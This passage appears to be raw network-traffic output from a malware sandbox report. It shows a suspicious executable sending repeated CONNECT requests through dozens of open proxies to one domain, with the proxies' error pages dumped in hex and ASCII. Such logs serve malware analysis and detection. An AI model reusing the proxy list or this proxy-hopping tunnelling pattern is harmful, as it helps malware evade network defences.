Mar 11, 2024 15:21:02.508959055 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.9	50511	188.40.44.95	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.357887030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.028271914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.950167894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.887943983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591537952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.871216059 CET	722	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 13 Feb 2019 15:40:52 GMT Vary: Accept-Encoding Content-Length: 539 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2c 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 61 6e 64 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 61 6e 64 20 61 6e 79 74 68 69 6e 67 20 79 6f 75 20 6d 69 67 68 74 20 68 61 76 65 20 64 6f 6e 65 20 74 68 61 74 20 6d 61 79 20 68 61 76 65 0a 63 61 75 73 65 64 20 74 68 65 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred,and anything you might have done that may havecaused the error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.9	50716	104.23.126.8	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.370327950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.524956942 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.9	50719	173.245.49.27	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.371727943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.525996923 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.9	50505	186.124.164.213	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.372811079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.557487011 CET	1240	IN	HTTP/1.1 405 Method Not Allowed Server: squid/4.11 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3360 X-Squid-Error: ERR_UNSUP_REQ 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from pxy12.ecipi.com.ar X-Cache-Lookup: NONE from pxy12.ecipi.com.ar:80 Via: 1.1 pxy12.ecipi.com.ar (squid/4.11) Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2020 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-fa
Mar 11, 2024 15:21:03.557501078 CET	189	IN	Data Raw: 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 Data Ascii: mily: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;
Mar 11, 2024 15:21:03.558115005 CET	1240	IN	Data Raw: 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f Data Ascii: padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png') no-repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles */
Mar 11, 2024 15:21:03.558188915 CET	1070	IN	Data Raw: 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 45 52 52 5f 55 4e 53 55 50 5f 52 45 51 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 Data Ascii: irection: rtl; } --></style></head><body id=ERR_UNSUP_REQ><div id="titles"><h1>ERROR</h1><h2>The requested URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.9	50731	104.16.105.146	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.375874996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.531764030 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.9	50522	185.247.224.85	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.386018991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.9	50425	103.92.235.60	20828	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.392070055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.9	50729	143.198.226.25	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.392998934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.840732098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.356375933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.380337954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.458967924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.548805952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.591566086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700764894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.888192892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.9	50623	31.223.184.143	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.396481991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.274909019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.9	50789	104.25.167.88	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.397332907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.551848888 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.9	50548	31.43.158.108	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.397675991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.9	50569	94.131.14.66	1081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.405997038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.9	49723	39.109.113.97	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.409575939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.403502941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.418595076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
